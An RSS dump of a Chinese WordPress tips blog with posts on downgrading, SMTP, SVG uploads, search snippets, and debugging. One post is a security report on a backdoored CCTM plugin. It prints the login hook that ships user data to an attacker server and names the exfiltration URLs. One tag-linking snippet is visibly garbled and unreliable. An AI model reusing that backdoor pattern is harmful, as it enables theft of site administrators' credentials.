1、下载旧版本文件,并简单处理。你可以点击此处进入各个版本的中文 WordPress 下载列表,选择你需要的版本下载。

下载好之后解压文件,进入 “WordPress” 文件夹,删除里边的 “wp-content” 文件夹,然后把文件留在一边备用。

降级 WordPress 到以前的版本

2、进入网站后台的“插件”→“已安装的插件”页面,停用所有插件:

降级 WordPress 到以前的版本

此举是为了避免降级后因为插件不兼容旧版本,而出现致命错误,导致网站白屏。

3、使用 FTP 之类的软件,将之前下载并处理好的旧版 WordPress 文件上传到网站上,替换掉之前的(千万不要替换网站的 wp-content 文件夹):

降级 WordPress 到以前的版本

4、文件替换完成之后,进入网站后台。一般会提示“需要升级数据库”,直接点击按钮升级即可:

降级 WordPress 到以前的版本

出现“升级完成”后,点击“继续”进入后台。如果这时没有出现错误的话,那么恭喜了,基本已经可以算是降级成功!

5、降级成功之后,可以重新启用之前的插件。即使插件不兼容旧版的 WordPress,也会在启用的时候告知出现致命错误启用失败,而不是白屏无法访问。另外,如果你想一眼看出那些插件不兼容旧版,可以使用Better Plugin Compatibility Control 插件检测兼容性。

降级之后变成英文版怎么办?

降级后如果后台变成了英语,最可能的是因为版本跨越太久,导致确定语言的方式发生变化。这时可以利用手动修改 WordPress 语言的方式把语言改成简体中文。

另外,如果改成中文之后还有一些地方是英文,可以找回之前删除的 “wp-content” 文件夹,然后复制里边的 “languages” 文件夹,用 FTP 软件覆盖到网站的同一目录。

降级 WordPress 到以前的版本,首发于蓝月网络。

]]>
WordPress禁用Emoji https://lanyueer.com/wordpress-disable-emoji/ Sat, 14 May 2016 00:27:03 +0000 http://lanyueer.com/?p=589 把如下代码copy到主题的functions.php文件即可 remove_action( 'admi…

WordPress禁用Emoji,首发于蓝月网络。

]]>
把如下代码copy到主题的functions.php文件即可

  1. remove_action( 'admin_print_scripts', 'print_emoji_detection_script');
  2. remove_action( 'admin_print_styles', 'print_emoji_styles');
  3.  
  4. remove_action( 'wp_head', 'print_emoji_detection_script', 7);
  5. remove_action( 'wp_print_styles', 'print_emoji_styles');
  6.  
  7. remove_filter( 'the_content_feed', 'wp_staticize_emoji');
  8. remove_filter( 'comment_text_rss', 'wp_staticize_emoji');
  9. remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email');

WordPress禁用Emoji,首发于蓝月网络。

]]>
使用 WP_Query 而不是 query_posts 自定义 WordPress 主循环 https://lanyueer.com/define-wordpress-loop-using-wp_query/ Sat, 23 Apr 2016 11:56:51 +0000 http://lanyueer.com/?p=587 query_posts 存在的问题 我们知道操作 WordPress 主循环(WordPress Loop)最…

使用 WP_Query 而不是 query_posts 自定义 WordPress 主循环,首发于蓝月网络。

]]>
query_posts 存在的问题

我们知道操作 WordPress 主循环(WordPress Loop)最容易的方法是使用 query_posts 函数。

但是使用 query_posts 直接修改 WordPress 默认的主循环,会有以下的问题:

会干扰那些用到了 WordPress 循环的插件。
可能使一些 WordPress 条件判断函数失效。
需要去处理重新设置,回滚和偏移等问题。

使用 WP_Query 自定义 WordPress Loop

所以最好是使用 WP_Query,并创建自己的 WordPress 循环。

使用 WP_Query 第一步是创建你自己的变量,比如我们要创建一个最新日志列表,就可以使用下面的代码:

  1. <?php
  2.     $recentPosts = new WP_Query();
  3.     $recentPosts->query('showposts=5');
  4. ?>

上面代码定义了一个叫做 recentPosts 的变量,它是一 WP_Query 类的一个实例。然后我使用了 WP_Query 的一个方法开始一个查询,我们可以使用和 query_posts 函数一样的参数。现在就可以开始我们自己的循环了:

  1. <?php while ($recentPosts->have_posts()) : $recentPosts->the_post(); ?>
  2.    <!-- do some stuff here -->
  3. <?php endwhile; ?>

上面我们用了 WP_Query 的两个方法,分别是 have_posts 和 the_post。

这样做的好处是在循环中,我们可以使用标准的 post 模板函数。比如下面是使用自定义的 Loop 先是最新5篇文章的完整代码:

  1. <h 3>最新日志</h3>
  2. <ul>
  3. <?php
  4.     $recentPosts = new WP_Query();
  5.     $recentPosts->query('showposts=5');
  6. ?>
  7. <?php while ($recentPosts->have_posts()) : $recentPosts->the_post(); ?>
  8.     <li><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></li>
  9. <?php endwhile; ?>
  10. <?php wp_reset_query(); ?>
  11. </ul>

简单总结

使用 WP_Query 自定义 WordPress 循环是不干扰默认的 WordPress 主循环,而自定义查询的一种最简单最好方法。所以我们还能一个页面同时运行完全独 WordPress 循环。

使用 WP_Query 而不是 query_posts 自定义 WordPress 主循环,首发于蓝月网络。

]]>
WordPress无插件自动实现tag关键字内链,抛弃wp-keyword-link https://lanyueer.com/wordpress-tag-keyword-link/ Sat, 16 Apr 2016 08:34:26 +0000 http://lanyueer.com/?p=586 之前一直使用WP keyword link这个插件给文章中的关键字增加内链,以优化SEO。但插件多了对博客的速…

WordPress无插件自动实现tag关键字内链,抛弃wp-keyword-link,首发于蓝月网络。

]]>
之前一直使用WP keyword link这个插件给文章中的关键字增加内链,以优化SEO。但插件多了对博客的速度肯定有影响,所以找了个无插件实现的方法。实现起来也很简单,只需在主题文件夹中的function.php最后一个?>之前增加以下代码即可实现tag自动内链:

  1. //tag自动内链
  2. $match_num_from = 1;  //一篇文章中同一个关键字少于多少不锚文本(这个直接填1就好了)
  3. $match_num_to = 2; //一篇文章中同一个关键字最多出现多少次锚文本(建议不超过2次)
  4. //连接到WordPress的模块
  5. add_filter('the_content','tag_link',1);
  6. //按长度排序
  7. function tag_sort($a, $b){
  8. 	if ( $a->name == $b->name ) return 0;
  9. 	return ( strlen($a->name) > strlen($b->name) ) ? -1 : 1;
  10. }
  11. //改变标签关键字
  12. function tag_link($content){
  13. global $match_num_from,$match_num_to;
  14. 	 $posttags = get_the_tags();
  15. 	 if ($posttags) {
  16. 		 usort($posttags, "tag_sort");
  17. 		 foreach($posttags as $tag) {
  18. 			 $link = get_tag_link($tag->term_id);
  19. 			 $keyword = $tag->name;
  20. 			 //连接代码
  21. 			 $cleankeyword = stripslashes($keyword);
  22. 			 $url = "<a title="\"".str_replace('%s',addcslashes($cleankeyword," href="\"$link\"" target="_blank">".addcslashes($cleankeyword, '$')."</a>";
  23. 			 $limit = rand($match_num_from,$match_num_to);
  24.  
  25. 			//不连接的代码
  26.                          $content = preg_replace( '|(<a[^>]+>)(.*)('.$ex_word.')(.*)(]*>)|U'.$case, '$1$2%&&&&& %$4$5', $content);
  27. 			 $content = preg_replace( '|(<img)(.*?)('.$ex_word.')(.*?)(>)|U'.$case, '$1$2%&&&&& %$4$5', $content);
  28.  
  29. 				$cleankeyword = preg_quote($cleankeyword,'\'');
  30.  
  31. 					$regEx = '\'(?!((<.*?)|(<a.*?)))('. $cleankeyword . ')(?!(([^<>]*?)>)|([^>]*?))\'s' . $case;
  32.  
  33. 				$content = preg_replace($regEx,$url,$content,$limit);
  34.  
  35. 	$content = str_replace( '%&&&&& %', stripslashes($ex_word), $content);
  36.  
  37. 		 }
  38. 	 }
  39.     return $content;
  40. }

更新你的博客看看,是不是已经有效果啦?

WordPress无插件自动实现tag关键字内链,抛弃wp-keyword-link,首发于蓝月网络。

]]>
WordPress无插件实现SMTP发送邮件 https://lanyueer.com/wordpress-smtp-send-mail-without-plugin/ Sat, 16 Apr 2016 08:31:49 +0000 http://lanyueer.com/?p=585 在使用WordPress的过程中,不可避免地要用到邮件功能。WP自带了mail函数,但用自带mail函数发送邮…

WordPress无插件实现SMTP发送邮件,首发于蓝月网络。

]]>
在使用WordPress的过程中,不可避免地要用到邮件功能。WP自带了mail函数,但用自带mail函数发送邮件很容易失败或者被拒收。所以很多人选择用更方便高效的SMTP来发送邮件。要用SMTP发送邮件,首先需要拥有一个支持SMTP的邮箱(包括Gmail、QQ、126、163等主流邮箱都支持SMTP功能,可能需要到设置中打开),然后在WordPress中简单设置一下。你可以选择用插件,Configure SMTP或者WP Mail SMTP都是不错的插件。前者还支持调试,可以方便地知道是什么原因导致发送失败。下面介绍的是无插件实现SMTP发送功能,毕竟插件多了对速度有不利的影响。

这个功能实现起来也很简单,有两种方法可以实现。

第一种

:打开主题文件夹下的functions.php(主机目录/wp-content/themes/主题名/functions.php),在最后一个 ?> 之前加上下面的代码即可:

  1. //使用smtp发邮件
  2.  
  3. add_action('phpmailer_init', 'mail_smtp');
  4.  
  5. function mail_smtp( $phpmailer ) {
  6.  
  7. $phpmailer->IsSMTP();
  8.  
  9. $phpmailer->SMTPAuth = true;//启用SMTPAuth服务
  10.  
  11. $phpmailer->Port = 465; //SMTP邮件发送端口,常用端口有:25、465和587(后两个为ssl安全连接端口)。
  12.  
  13. $phpmailer->SMTPSecure ="ssl"; //是否通过 ssl 连接,如果端口为25,则此处将"ssl"改为空白即"",否则不必改动
  14.  
  15. $phpmailer->Host = "smtp.gmail.com"; // SMTP服务器地址,在邮箱设置或者帮助中心中可以找到
  16.  
  17. $phpmailer->Username = "username@gmail.com"; //你的邮箱地址
  18.  
  19. $phpmailer->Password ="******"; //你的邮箱登陆密码
  20.  
  21. }

第二种

:直接修改WordPress源文件class-phpmailer.php和pluggable.php,这个方法需要对WordPress的2个源文件做小小的修改。好处就是你不需要每次更改主题都修改functions.php,而且更安全。

在WordPress的wp-includes目录下找到pluggable.php和class-phpmailer.php两个文件。

将pluggable.php中的”$phpmailer->IsMail(); “替换为:”$phpmailer->IsSMTP();”

在class-phpmailer.php中修改下面对应的设置:

  1. public $Mailer = 'smtp';
  2. public $Host = 'smtp.gmail.com';  //邮箱的SMTP服务器地址
  3. public $Port = 465;  //SMTP邮件发送端口
  4. public $SMTPSecure = "ssl"; //是否验证 ssl或tls
  5. public $SMTPAuth = true; //开启SMTPAuth
  6. public $Username = 'username@gmail.com'; //你的邮箱地址
  7. public $Password = '******'; //你的邮箱登陆密码

快去试一下,跟插件说拜拜吧~

WordPress无插件实现SMTP发送邮件,首发于蓝月网络。

]]>
让WordPress支持SVG等格式的多媒体上传 https://lanyueer.com/wordpress-add-upload-mimes/ Sat, 16 Apr 2016 08:05:12 +0000 http://lanyueer.com/?p=583 今天要传个SVG格式图片,才发现WordPress不支持SVG格式文件的上传。提示 抱歉,出于安全的考虑,不支…

让WordPress支持SVG等格式的多媒体上传,首发于蓝月网络。

]]>
今天要传个SVG格式图片,才发现WordPress不支持SVG格式文件的上传。提示

抱歉,出于安全的考虑,不支持此文件类型。

wordpress-support-svg-upload

百度了一下解决方法,做个笔记。

解决办法

将下面的代码放进主题文件夹functions.php中。若要支持其他格式的文件(如rar等),参照第二行代码增加就行~

  1. function my_upload_mimes($mimes = array()) {
  2.     $mimes['svg'] = 'image/svg+xml';
  3.     return $mimes;
  4. }
  5. add_filter('upload_mimes', 'my_upload_mimes');

当然也可以在wp-includes/functions.php中找到wp_get_mime_types()函数,在其中按照对应格式添加即可。

关于SVG

SVG可缩放矢量图形(Scalable Vector Graphics)是基于可扩展标记语言(XML),用于描述二维矢量图形的一种图形格式。SVG是W3C(“World Wide Web ConSortium”即”国际互联网标准组织”)在2000年8月制定的一种新的二维矢量图形格式,也是规范中的网络矢量图形标准。SVG严格遵从XML语法,并用文本格式的描述性语言来描述图像内容,因此是一种和图像分辨率无关的矢量图形格式。

让WordPress支持SVG等格式的多媒体上传,首发于蓝月网络。

]]>
WordPress禁止加载自带的jQuery.js的方法 https://lanyueer.com/ban-wordpress-from-loading-built_in-jquery/ Sat, 16 Apr 2016 08:00:20 +0000 http://lanyueer.com/?p=582 对于WordPress来说,最重要的JS莫过于jQuery.js了,不少功能都需要它的支持。如果我们引用了CD…

WordPress禁止加载自带的jQuery.js的方法,首发于蓝月网络。

]]>
对于WordPress来说,最重要的JS莫过于jQuery.js了,不少功能都需要它的支持。如果我们引用了CDN公共库中的jQuery.js,或者主题自带了jQuery.min.js,就需要禁掉WordPress自带jQuery.js的加载了(不禁掉的话甚至还可能会出现新添加的js代码无法正常运行的情况)。

方法一 修改script-loader.php

最常见的方法,是修改/wp-includes/script-loader.php文件。将script-loader.php第127行(WordPress3.5.1中)

  1. $scripts->add( 'jquery', '/wp-includes/js/jquery/jquery.js', array(), '1.8.3' );

修改为

  1. if(is_admin()){
  2. 		$scripts->add( 'jquery', '/wp-includes/js/jquery/jquery.js', array(), '1.8.3' );
  3. 	}

即可。
之所以加上if(is_admin())语句而不是直接删除或者替代为自己的jQuery文件,是因为直接删除或者替代为自己的jQuery文件会导致后台无法使用自带的jQuery而出现错误。
这种方法的缺陷在于,WordPress升级之后修改的文件就会被覆盖,需要再次修改。

方法二 修改function.php

在主题文件夹下的function.php中,加入如下代码:

  1. //禁止加载WP自带的jquery.js
  2. if ( !is_admin() ) { // 后台不禁止
  3. function my_init_method() {
  4. wp_deregister_script( 'jquery' );  // 取消原有的 jquery 定义
  5. }
  6. add_action('init', 'my_init_method'); 
  7. }
  8. wp_deregister_script( 'l10n' );

跟方法一不同的是,根据方法二修改的文件不会因为WordPress的升级而被覆盖,但会因为主题的升级或更换而失效。大家可以根据自己的情况选择用哪种方法。

WordPress禁止加载自带的jQuery.js的方法,首发于蓝月网络。

]]>
WordPress 自定义内容类型管理插件(CCTM)存在后门,可窃取管理员账号密码 https://lanyueer.com/cctm-backdoor-exists/ Wed, 13 Apr 2016 03:53:28 +0000 http://lanyueer.com/?p=571 据悉, Sucuri安全团队研究人员近日指出WordPress一款插件(自定义内容管理)CCTM存在后门。通过…

WordPress 自定义内容类型管理插件(CCTM)存在后门,可窃取管理员账号密码,首发于蓝月网络。

]]>
据悉, Sucuri安全团队研究人员近日指出WordPress一款插件(自定义内容管理)CCTM存在后门。通过该后门,可以对WordPress上的核心文件进行篡改,以此记录并窃取感染站点管理员用户的登录账号及密码。

Freebuf 百科

自定义内容管理( Custom Content Type Manager )插件的功能

自定义内容类型管理(CCTM)允许用户创建自定义内容类型(也称为文章类型),也可以对每个下拉菜单、复选框和图像甚至于其他元素,提供标准化的自定义区域,这赋予了WordPress内容管理的功能。这个插件还允许导出和导入用户的内容定义,使得它易于在多个站点之间保证类似的结构。

假如想为博客添加一个单独的部分来发表电影评论。通过使用自定义文章类型,你可以创建一种新的文章类型,就像文章(posts)和页面(pages)一样,它可以包含一组不同的数据。比如新的管理菜单、专门的编辑页面、自定义分类 和 更多实用的发布管理功能。自定义文字类型 拥有新的文章管理选项,就像默认的文章类型(文章、页面、附件 )一样。一种 自定义文章类型 可以存储各种各样的信息。它有专门的编辑器、多媒体上传 并使用WordPress现有的表结构,便于数据管理。

后门的发现

此事件是由Sucuri安全团队(一个专门提供web安全服务的团队)首次进行追踪分析的。据Sucuri安全研究人员提到,

一开始他们是在其客户处发现一个命名奇怪的文件 (auto-update.php),而起初并没发现有可疑行为,直到该插件进行更新的时候。

Sucuri安全团队提到当他们在为客户 清除一个感染站点时,发现了一个可疑的文件auto-update.php,该文件是被存放在wp-content/plugins/custom-content-type-manager/.的路径下。具体如下图,

据研究分析,该后门程序,能从一个地址为 http://wordpresscore.com/plugins/cctm/update/ 的服务端下载文件,并将它们保存为.php格式存放在插件配置目录下 。

该插件既是上述提到的 Custom Content Type Manager (CCTM),在过去三年里该插件主要用于创建自定义文章类型,现在已经积累了一定的用户数量,据初步统计目前已经在超过10,000个站点上安装了该插件。

插件疑云,神秘的管理者

从 Sucuri安全团队两个星期的调查来看,该插件在过去的10个月将近一年看起来像一个被放弃的项目,并无任何更新,然而近期神秘地更换了管理者。而该名名为wooranker的新开发者随后更新了插件,发布了一个新的版本。

我们在官方插件目录中找到的每一个WordPress插件,都是通过子版本存储库进行升级的。在问题跟踪系统的帮助下,任何人都可以使用该存储库去搜索相应的信息(包括像对象,时间以及变更事项等)在任意插件的任意版本中。比如,下图为近期CCTM更改的情况,

我们可以从上面截图看到,其中的一次更改是于2016年2月18日增加了auto-update.php文件。在此次更新中,“wooranker”改动并增加了下面的描述信息,

“新管理者的小改动”(保留原始语法)

实际上,从上述截图中我们可以看到,两个星期前该插件仍然由fireproofsocks在维持更新,但之后其中的一项变动的描述为“将wooranker增添到readme中”,再到后面就变成wooranker在对该插件进行更新了。

或许该插件开发者已经对其失去兴趣,又或者受雇于wooranker。另一方面,因为实际上fireproofsocks已经将近一年没对该插件进行更新了,我们也推测是否 wooranke入侵了fireproofsocks的账户,随后增添了自身作为新的管理者。

此外,在2016年2月5日,wooranker也同时加入到 Postie 插件项目中。而其在Postie 插件项目的变动都为合法可查的,并且都由 Postie 插件的初始发起人同意。这一切看起来却有点令人摸不清头脑。那么接下来让我们来看看更新的恶意CCTM插件及wooranker 如何使用它入侵站点的。

自定义内容管理(CCTM)插件 0.9.8.8 版本存在恶意代码

而该名开发者对于更新的版本赋予了其新的“使命”。首先,新的版本如上述所看到的,增加了auto-update.php的文件,而据研究分析,该文件可从远程的服务器下载指定文件到受感染的站点。

通过Trac我们也看到了(于2月19日最后更新)。它增加了/includes/CCTM_Communicator.php文件( 该文件会与auto-update.php联合运行,其主要的任务为ping wooranker的服务器端从而使得服务器能记录新感染的站点IP地址等信息。 )以及将下述的代码段插入到插件的index.php文件中。

// Send plugin information when user login
function _wp_login_eventhandler($user_login, $user) {
require_once('includes/CCTM_Communicator.php');
$_objCCTMCom = new CCTM_Communicator();
$_objCCTMCom->addInfo(array($user_login, $user));
$_objCCTMCom->send_info();
}
add_action('wp_login', '_wp_login_eventhandler', 10, 2);

具体更改如下图,

该段代码作用为每当用户登录到WordPress站点时,将站点及用户的信息发送到wooranker的服务器( wordpresscore .com )上。

攻击路径重演

通过在受感染的站点上访问登陆,实现对攻击的回溯。

于2月28日,从源地址104.131.27.120发起了尝试使用Python脚本 (“python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-79-generic“)登录到WordPress。该站点的地址明显地通过新的CCTM_Communicator功能来获取的。

根据对受感染站点的监测,某次 wooranker企图登陆到一个受感染的站点,但由于站点管理员更改了登陆的URL,所以 wooranker未能成功入侵站点。随后看到尝试登陆受阻,wooranker也随即更改了策略。其利用auto-update.php后门,强制目标站点下载并安装另外一个名为c.php的文件,该文件主要用于创建另一名为wp-options.php的文件。后者主要用于篡改WordPress的核心文件。据研究发现,遭受篡改的主要有三个文件,

1、wp-login.php,将管理员用户的登录凭证发送至hxxp://wordpresscore .com/in/login/index.php;

2、wp-admin/user-new.php,窃取新创建的用户登录凭证,并将之发送至hxxp://wordpresscore .com/in/add-user/index.php;

3、wp-admin/user-edit.php,当用户修改密码时,窃取相关登录凭证,并将之发送到hxxp://wordpresscore .com/in/pass-change/index.php。

某些用户已自动更新至带有恶意代码的插件版本

上述的这些功能已被合并进CCTM(自定义内容类型管理)插件,版本为0.9.8.8,而目前已经有许多用户安装该版本,或者自动更新到他们的站点。

该名黑客针对核心WordPress文件的篡改,使得其能够控制用户登录、创建和编辑命令,同时在用户数据被加密之前将之拦截,并将用户的明文密码发送至服务器端。此外,wp-options.php甚至能在受感染的站点上创建管理员账户,一般以support为账户 / support@wordpresscore.com为邮箱进行创建。

综上的情况,wooranker可在所有受感染的站点上拥有管理员账户,当用户访问站点进行登录时,使用什么密码也会被通知到wooranker。

黑客的真正身份?

当我们在分析确认黑客身份的时候,还发现了插件更新上的一个变化。在wooranker获取插件管理者权限后,首先就是将donutjs(据其“官网”显示,其为js轻量级框架)引用到includes/CCTM.php文件中。

wp_enqueue_script(‘donutjs’, ‘//<b>donutjs.com</b>/jquery.js’ );

可能对于很多人来说,几乎都没听过donutjs,甚至当你在搜索引擎上搜索的时候,也不会出现相关信息的检索结果。而根据分析检索,从其“官网”获知donutjs是一个轻量级的框架,主要是为开发js应用提供支持,据其官网所称,其主要对标的是 jQuery。以下为其官网的地址( donutjs )及宣传。

与 jQuery语法的对比,举例如下图

1、淡出元素并删除

2、调用ajax

而经过分析发现,上述提到的donutjs .com/jquery.js返回的信息却是为,

该代码段也是用于收集记录站点地址的。

接着我们还发现,wooranker实际上还掌控着donutjs .com的权限。当我们进行whois时,返回结果如下,

wordpresscore .com

创建时间: 2015-11-23

注册姓名: Vishnudath Mangilipudi

管理员所在地: Andhra Pradesh

邮政编码: 524201

管理员所在国家: IN

管理员电话: +91.8985005295

DNS服务器:

NS1.DIGITALOCEAN.COM

NS2.DIGITALOCEAN.COM

NS3.DIGITALOCEAN.COM

donutjs .com

注册姓名: vishnudath

管理员所在国家: IN

管理员电话: +91.8985005295

其实在这里,就可以看出donutjs应该就是wooranker用以辅助收集站点信息之用,所伪造出来的js框架。

至于,从whois上的信息,我们可以发现,恶意代码中wordpresscore .com域名的实际拥有者是一名来自印度,名为Mangilipudi的开发者。但Sucuri安全团队尚不能确认Mangilipudi便是幕后的黑客,因为网络上个人身份信息可以被轻易窃取并伪造。而作为wooranker,如先前所述,他也是另外一个WordPress 插件 Postie 的开发者和管理者,但Sucuri指出Postie目前仍然被最早的发起人管理着,并也没在其中发现恶意代码。所以,针对黑客的真正身份,目前仍在分析。

建议

1、停用CCTM 插件;

2、检查所有的核心WordPress 文件,当然,用户除了可以重新安装WordPress达到该目的,至少应该确认以下三个文件是否遭受篡改,我们可以从以下地址获取初始文件,请点击: wordpress.org ;

(1) ./wp-login.php

(2) ./wp-admin/user-edit.php

(3) ./wp-admin/user-new.php

3、修改WordPress上所有用户的密码;

4、删除WordPress上无法识别的用户账号,特别是包含support@wordpresscore .com邮箱信息的账户。

5、如果确实需要在站点中维持CCTM插件,那么建议使用稳定版本0.9.8.6(版本0.9.8.7 已经发现有一个安全漏洞)。

WordPress 自定义内容类型管理插件(CCTM)存在后门,可窃取管理员账号密码,首发于蓝月网络。

]]>
有用的WordPress搜索代码片段 https://lanyueer.com/wordpress-search-snippet/ Wed, 13 Apr 2016 02:56:57 +0000 http://lanyueer.com/?p=563 将指定的页面或者某分类下的日志从搜索结果中排除 下面的函数允许您将任何分类下的日志甚至是页面从搜索结果中排除掉…

有用的WordPress搜索代码片段,首发于蓝月网络。

]]>
将指定的页面或者某分类下的日志从搜索结果中排除

下面的函数允许您将任何分类下的日志甚至是页面从搜索结果中排除掉。

  1. function SearchFilter($query) { 
  2.     if ($query->is_search) { 
  3.         $query->set('cat','0,1'); 
  4.     }     return $query; 
  5. }
  6.  
  7. add_filter('pre_get_posts','SearchFilter');

搜索特定的某个日志分类

这将从特定的分类中返回搜索结果:

  1. function SearchFilter($query) {  
  2. if ($query->is_search) {  
  3. // Insert the specific categories you want to search 
  4.  
  5.  
  6. $query->set('cat', '8,9,12');  
  7.   }  
  8. return $query;  
  9. }  
  10. add_filter('pre_get_posts','SearchFilter');

搜索某一特定的日志类型

仅搜索特定的日志类型,而将其他所有类型过滤掉。

  1. function SearchFilter($query) {  
  2. if ($query->is_search) {  
  3. // Insert the specific post type you want to search  
  4. $query->set('post_type', 'feeds');  
  5.   }  
  6. return $query;  
  7. }  
  8. // This filter will jump into the loop and arrange our results before they're returned 
  9.  
  10. add_filter('pre_get_posts','SearchFilter');

高亮WordPress搜索关键词(使用JQuery)

在WordPress搜索结果页面高亮显示关键词。将下面这段函数放到主题的functions.php文件中:

  1. function hls_set_query() {  
  2. $query  = attribute_escape(get_search_query());  
  3. if(strlen($query) > 0){  
  4. echo ' 
  5.  
  6.       <script type="text/javascript"> 
  7.  
  8.         var hls_query  = "'.$query.'"; 
  9.  
  10.       </script> 
  11.  
  12.     ';  
  13.   }  
  14. }  
  15. function hls_init_jquery() {  
  16.   wp_enqueue_script('jquery');  
  17. }  
  18. add_action('init', 'hls_init_jquery');  
  19. add_action('wp_print_scripts', 'hls_set_query');

再将下面这段代码放到主题的header.php文件中, 标签 的前面:

  1. <style type="text/css" media="screen">  
  2.     .hls { background: #D3E18A; }  
  3. </style>  
  4. <script type="text/javascript">  
  5. jQuery.fn.extend({  
  6. highlight: function(search, insensitive, hls_class){  
  7. var regex = new RegExp("(<[^>]*>)|(\\b"+ search.replace(/([-.*+?^${}()|[\]\/\\])/g,"\\$1") +")", insensitive ? "ig" : "g");  
  8. return this.html(this.html().replace(regex, function(a, b, c){  
  9. return (a.charAt(0) == "<") ? a : "<strong class=\""+ hls_class +"\">" + c + "</strong>";  
  10.   }));  
  11. }  
  12. });  
  13. jQuery(document).ready(function($){  
  14. if(typeof(hls_query) != 'undefined'){  
  15.   $("#post-area").highlight(hls_query, 1, "hls");  
  16. }  
  17. });  
  18. </script>

显示搜索结果条目数量

返回搜索结果数量。例如 – 对“twitter”的搜索结果数量为 – 8 篇日志。

  1. <h2 class="pagetitle">  
  2.     Search Result for  
  3.     <?php /* Search Count */  
  4. $allsearch = &new WP_Query("s=$s&showposts=-1");  
  5. $key = wp_specialchars($s, 1);  
  6. $count = $allsearch->post_count;  
  7.     _e(''); _e('<span class="search-terms">');  
  8. echo $key; _e('</span>'); _e(' &mdash; ');  
  9. echo $count . ' '; _e('articles'); wp_reset_query();  
  10.     ?>  
  11. </h2>

有用的WordPress搜索代码片段,首发于蓝月网络。

]]>
WordPress 出现了问题,如何 Debug! https://lanyueer.com/how-to-debug-wordpress/ Mon, 11 Jan 2016 05:58:19 +0000 http://lanyueer.com/?p=530 1. 如果是前台和后台空白,并且没有显示任何错误。 打开 wp-config.php 文件,将原来的 WP_D…

WordPress 出现了问题,如何 Debug!,首发于蓝月网络。

]]>
1. 如果是前台和后台空白,并且没有显示任何错误。

打开 wp-config.php 文件,将原来的 WP_Debug 设置改成如下设置:

  1. define('WP_DEBUG', true);
  2. define('WP_DEBUG_DISPLAY', true);

保存之后,再刷新前台或者后台,就可以看到错误的 log 了。

2. 错误是发生在某些后台进程,比如 cron job 或者微信自定义回复的时候,没法显示错误log,我们可以把 log 保存到 debug 文件。

打开 wp-config.php 文件,将原来的 WP_Debug 设置改成如下设置:

  1. define('WP_DEBUG', true);
  2. define('WP_DEBUG_DISPLAY', false);
  3. define('WP_DEBUG_LOG', true);

然后就可以在 wp-content/debug.log 文件中看到相应的错误信息了。

最后一定要记得,测试完了一定要改回去,就是:

  1. define('WP_DEBUG', false);

不然,你的用户也会看到你的系统错误了,或者 wp-content/debug.log 很大,把你服务器的空间都用完。

WordPress 出现了问题,如何 Debug!,首发于蓝月网络。

]]>
wordpress设置菜单时,点击菜单页面右上角的“显示选项”无法展开 https://lanyueer.com/wordpress-menu-display-options-unable-to-expand/ Thu, 31 Dec 2015 07:27:21 +0000 http://lanyueer.com/?p=528 这个是由于wordpress4.2之后中文版造成的bug,可以使用一下方案解决(任选其一解决): 1.将修复文…

wordpress设置菜单时,点击菜单页面右上角的“显示选项”无法展开,首发于蓝月网络。

]]>
这个是由于wordpress4.2之后中文版造成的bug,可以使用一下方案解决(任选其一解决):

1.将修复文件覆盖:
将WordPress4.1中的nav-menus.php使用FTP 上传覆盖至根目录的wp-admin文件夹,覆盖即可。

2.在外观中打开自定义,点击自定义左侧的“菜单选项”,点击齿轮按钮,即可看到显示选项中的内容,勾选即可

3.在设置–常规中,将语言设置为英文,回到菜单即可打开显示选项,勾选所有选项之后回到设置–常规切换语言为中文即可

wordpress设置菜单时,点击菜单页面右上角的“显示选项”无法展开,首发于蓝月网络。

]]>
wordpress十大常见错误之十:无法删除插件 https://lanyueer.com/unable-to-remove-the-plug/ Sun, 13 Dec 2015 09:17:26 +0000 http://lanyueer.com/?p=521 问题描述: 通过wordpress后台,无法删除插件。甚至通过FTP也无法删除。也就是说删除之后,仍然显示在后…

wordpress十大常见错误之十:无法删除插件,首发于蓝月网络。

]]>
问题描述:

通过wordpress后台,无法删除插件。甚至通过FTP也无法删除。也就是说删除之后,仍然显示在后台插件列表内。

解决方法: 通过Secure Shell (SSH)删除

这主要是因为插件有隐藏/嵌套的文件,没有出现在FTP.

使用 SSH 访问博客

  1. 通过SSH登录站点。
  2. 使用 SSH 命令浏览 “../wp-content/plugins/”。
  3. 使用 ls -al 查看文件的完全列表。Briefly unavailable for scheduled maintenance - 10 Most Common WordPress Errors (+Solutions)
  4. 通过 rm (文件名)删除部分文件.

wordpress十大常见错误之十:无法删除插件,首发于蓝月网络。

]]>
wordpress十大常见错误之九:更新后无效 https://lanyueer.com/update-invalid/ Sun, 13 Dec 2015 09:14:48 +0000 http://lanyueer.com/?p=518 问题描述: 在进行自动更新后,博客站点出现 “Briefly unavailable for schedule…

wordpress十大常见错误之九:更新后无效,首发于蓝月网络。

]]>

问题描述:

在进行自动更新后,博客站点出现 “Briefly unavailable for scheduled maintenance” ,意思是计划的维护有点无效,或不适用。Briefly unavailable for scheduled maintenance - 10 Most Common WordPress Errors (+Solutions)

解决方法: 移除 .Maintenance 文件

在wordpress自动更新,wordpress根目录下有一个 .maintenance ,这个文件用户维护后通知用户的。如果更新失败或不完整,这个文件仍然存在,而不会被删除的。

如何删除 .maintenance 文件?

  1. 使用FTP登录站点根目录。
  2. 找到 .maintenance文件Briefly unavailable for scheduled maintenance - 10 Most Common WordPress Errors (+Solutions)
  3. 删除 .maintenance 文件。

现在你重新登录你的站点,你会发现继续自动更新。

wordpress十大常见错误之九:更新后无效,首发于蓝月网络。

]]>
wordpress十大常见错误之八:管理登录404错误 https://lanyueer.com/management-login-404/ Sun, 13 Dec 2015 09:12:37 +0000 http://lanyueer.com/?p=512 问题描述: 不能登录wordpress管理面板,出现404错误页面. 解决方法1: 更新数据库内地址 通过 p…

wordpress十大常见错误之八:管理登录404错误,首发于蓝月网络。

]]>

问题描述:

不能登录wordpress管理面板,出现404错误页面.

解决方法1: 更新数据库内地址

通过 phpMyAdmin访问数据库, 尝试更新数据库内地址。

  1. 登录 cPanel, 单击Databases下phpMyAdmin 。(国内主机一般有一个数据库管理,可以通过phpMyadmin登录)WordPress Admin Login 404 Issue - 10 Most Common WordPress Errors (+Solutions)
  2. 选择wordpress数据库如: Username_wrdp1.
  3. 选择表wp_options,(如果在安装的时候,前缀不是wp,那么这个表名是:你写的前缀_option, 单击 Browse.WordPress Admin Login 404 Issue - 10 Most Common WordPress Errors (+Solutions)
  4. 单击option_name字段下的 siteurl。
